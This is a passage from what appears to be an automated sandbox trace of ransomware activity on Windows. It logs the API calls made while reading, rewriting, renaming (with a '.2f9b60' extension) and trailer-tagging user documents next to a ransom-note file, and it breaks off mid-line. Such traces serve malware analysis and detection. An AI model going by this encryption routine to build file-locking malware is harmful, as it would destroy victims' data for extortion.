[0093.679] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ec60) returned 1 Thread: id = 539 os_tid = 0xdf0 [0093.687] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XmtY.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xmty.docx")) returned 0x20 [0093.687] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XmtY.docx", dwFileAttributes=0x20) returned 1 [0093.687] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XmtY.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xmty.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.688] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x243ef800 | out: lpFileSize=0x243ef800*=27040) returned 1 [0093.688] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x699c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.688] ReadFile (in: hFile=0xd04, lpBuffer=0x243ef780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x243ef7c8, lpOverlapped=0x0 | out: lpBuffer=0x243ef780*, lpNumberOfBytesRead=0x243ef7c8*=0x4, lpOverlapped=0x0) returned 1 [0093.689] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0093.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0093.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0093.689] NtQuerySystemTime (in: CurrentTime=0x243ef6c0 | out: CurrentTime=0x243ef6c0*=132462176995198000) returned 0x0 [0093.689] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0xa11f506 [0093.689] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x550beb63 [0093.689] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x41187d9e [0093.689] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x6add99 [0093.689] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x16e9c591 [0093.689] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x620b39df [0093.689] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x4abcc556 [0093.689] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x236d5d16 [0093.689] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x435a4662 [0093.689] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x196cfee3 [0093.689] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x314f6235 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x141de599 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x1edecb15 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x64bac91c [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x2adb89d5 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x62ff0098 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0xd0b5838 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x50c20742 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x2303fd68 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x4ada7d4d [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x608a9e73 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x798a001 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x32b6bd54 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x3ca3304f [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x2973d816 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x741a647e [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x16d12c4c [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0xe74606f [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x5e1de1c6 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x2f47a2cc [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x8754191 [0093.690] RtlRandomEx (in: Seed=0x243ef6b0 | out: Seed=0x243ef6b0) returned 0x25975c1e [0093.701] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.701] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x243ef720, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x243ef720*=0x3c00, lpOverlapped=0x0) returned 1 [0093.701] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0093.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0093.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0093.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0093.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0093.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0093.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.702] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x243ef720, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x243ef720*=0x3c00, lpOverlapped=0x0) returned 1 [0093.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0093.705] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.705] WriteFile (in: hFile=0xd04, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x243ef7d0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x243ef7d0*=0x104, lpOverlapped=0x0) returned 1 [0093.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0093.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0093.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0093.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0093.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0093.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f880) returned 1 [0093.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0093.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8b0) returned 1 [0093.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85f310 [0093.707] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XmtY.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XmtY.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XmtY.docx" [0093.707] wcscat (in: _Dest=0x1b85f310, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XmtY.docx.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XmtY.docx.2f9b60" [0093.707] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XmtY.docx.2f9b60", NtPathName=0x243ef7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XmtY.docx.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad5c0 [0093.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.709] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x243ef858, FileInformation=0x243ef868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x243ef858, FileInformation=0x243ef868) returned 0x0 [0093.709] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x243ef858, FileInformation=0x243ef868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.711] FlushFileBuffers (hFile=0xd04) returned 1 [0093.713] CloseHandle (hObject=0xd04) returned 1 [0093.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f310 [0093.714] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.714] wcscat (in: _Dest=0x1b85f310, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.714] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ecd0) returned 1 Thread: id = 540 os_tid = 0xdf4 [0093.722] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z-UOp2COUWBpT.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z-uop2couwbpt.xls")) returned 0x20 [0093.722] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z-UOp2COUWBpT.xls", dwFileAttributes=0x20) returned 1 [0093.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z-UOp2COUWBpT.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z-uop2couwbpt.xls"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.722] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x246efd00 | out: lpFileSize=0x246efd00*=30093) returned 1 [0093.723] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x7589, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.723] ReadFile (in: hFile=0xd04, lpBuffer=0x246efc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x246efcc8, lpOverlapped=0x0 | out: lpBuffer=0x246efc80*, lpNumberOfBytesRead=0x246efcc8*=0x4, lpOverlapped=0x0) returned 1 [0093.724] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0093.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0093.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0093.724] NtQuerySystemTime (in: CurrentTime=0x246efbc0 | out: CurrentTime=0x246efbc0*=132462176995510000) returned 0x0 [0093.724] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x7f91a169 [0093.724] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x124dfa4c [0093.724] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x15e5daff [0093.724] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x5fc9d1fe [0093.724] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x52972c2 [0093.724] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x2de23747 [0093.724] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x199847b8 [0093.724] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x1f65a3b1 [0093.724] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x5b5b85a2 [0093.724] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x2cf68d65 [0093.724] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x487d5788 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x444b2e5b [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x66dafcfb [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x67c16390 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x3f61ab28 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x44f1102d [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x3640dba0 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x194e6e30 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x30089356 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x1133895d [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x2f3a8b23 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x37fa84d1 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x75d699d2 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x40ca203e [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x45249742 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x3864c951 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x22249c7e [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x6b8832b [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x9b82e6f [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x334af4d0 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x5c123196 [0093.725] RtlRandomEx (in: Seed=0x246efbb0 | out: Seed=0x246efbb0) returned 0x70be12a5 [0093.737] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.737] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x246efc20, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x246efc20*=0x3c00, lpOverlapped=0x0) returned 1 [0093.737] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0093.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0093.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0093.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0093.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0093.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0093.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.738] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x246efc20, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x246efc20*=0x3c00, lpOverlapped=0x0) returned 1 [0093.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9ebb0 [0093.740] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.740] WriteFile (in: hFile=0xd04, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x246efcd0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x246efcd0*=0x114, lpOverlapped=0x0) returned 1 [0093.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0093.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0093.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0093.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85f820 [0093.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0093.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0093.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1b82c030 [0093.747] sprintf (in: _Dest=0x1b82c030, _Format="%c%c" | out: _Dest="c5") returned 2 [0093.747] sprintf (in: _Dest=0x1b82c032, _Format="%c%c" | out: _Dest="5c") returned 2 [0093.747] sprintf (in: _Dest=0x1b82c034, _Format="%c%c" | out: _Dest="8a") returned 2 [0093.747] sprintf (in: _Dest=0x1b82c036, _Format="%c%c" | out: _Dest="1c") returned 2 [0093.747] sprintf (in: _Dest=0x1b82c038, _Format="%c%c" | out: _Dest="6a") returned 2 [0093.747] sprintf (in: _Dest=0x1b82c03a, _Format="%c%c" | out: _Dest="9f") returned 2 [0093.747] sprintf (in: _Dest=0x1b82c03c, _Format="%c%c" | out: _Dest="da") returned 2 [0093.747] sprintf (in: _Dest=0x1b82c03e, _Format="%c%c" | out: _Dest="40") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c040, _Format="%c%c" | out: _Dest="7b") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c042, _Format="%c%c" | out: _Dest="59") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c044, _Format="%c%c" | out: _Dest="0a") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c046, _Format="%c%c" | out: _Dest="9f") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c048, _Format="%c%c" | out: _Dest="24") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c04a, _Format="%c%c" | out: _Dest="da") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c04c, _Format="%c%c" | out: _Dest="51") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c04e, _Format="%c%c" | out: _Dest="cc") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c050, _Format="%c%c" | out: _Dest="f3") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c052, _Format="%c%c" | out: _Dest="04") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c054, _Format="%c%c" | out: _Dest="31") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c056, _Format="%c%c" | out: _Dest="73") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c058, _Format="%c%c" | out: _Dest="35") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c05a, _Format="%c%c" | out: _Dest="48") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c05c, _Format="%c%c" | out: _Dest="19") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c05e, _Format="%c%c" | out: _Dest="b8") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c060, _Format="%c%c" | out: _Dest="3d") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c062, _Format="%c%c" | out: _Dest="b7") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c064, _Format="%c%c" | out: _Dest="8b") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c066, _Format="%c%c" | out: _Dest="77") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c068, _Format="%c%c" | out: _Dest="42") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c06a, _Format="%c%c" | out: _Dest="33") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c06c, _Format="%c%c" | out: _Dest="b4") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c06e, _Format="%c%c" | out: _Dest="64") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c070, _Format="%c%c" | out: _Dest="d6") returned 2 [0093.748] sprintf (in: _Dest=0x1b82c072, _Format="%c%c" | out: _Dest="12") returned 2 [0093.749] RtlInitAnsiString (in: DestinationString=0x246efd48, SourceString="c55c8a1c6a9fda407b590a9f24da51ccf3043173354819b83db78b774233b464d612" | out: DestinationString="c55c8a1c6a9fda407b590a9f24da51ccf3043173354819b83db78b774233b464d612") [0093.749] RtlAnsiStringToUnicodeString (in: DestinationString=0x246efd18, SourceString="c55c8a1c6a9fda407b590a9f24da51ccf3043173354819b83db78b774233b464d612", AllocateDestinationString=1 | out: DestinationString="c55c8a1c6a9fda407b590a9f24da51ccf3043173354819b83db78b774233b464d612") returned 0x0 [0093.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad2a0 [0093.749] wcscat (in: _Dest=0x1b784760, _Source="c55c8a1c6a9fda407" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c55c8a1c6a9fda407") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c55c8a1c6a9fda407" [0093.749] wcscat (in: _Dest=0x1b784760, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c55c8a1c6a9fda407.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c55c8a1c6a9fda407.2f9b60" [0093.749] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c55c8a1c6a9fda407.2f9b60", NtPathName=0x246efcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c55c8a1c6a9fda407.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce114a0 [0093.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0093.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.750] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x246efd58, FileInformation=0x246efd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x246efd58, FileInformation=0x246efd68) returned 0x0 [0093.750] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x246efd58, FileInformation=0x246efd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784760) returned 1 [0093.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0093.753] FlushFileBuffers (hFile=0xd04) returned 1 [0093.754] CloseHandle (hObject=0xd04) returned 1 [0093.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f310 [0093.755] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.755] wcscat (in: _Dest=0x1b85f310, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS 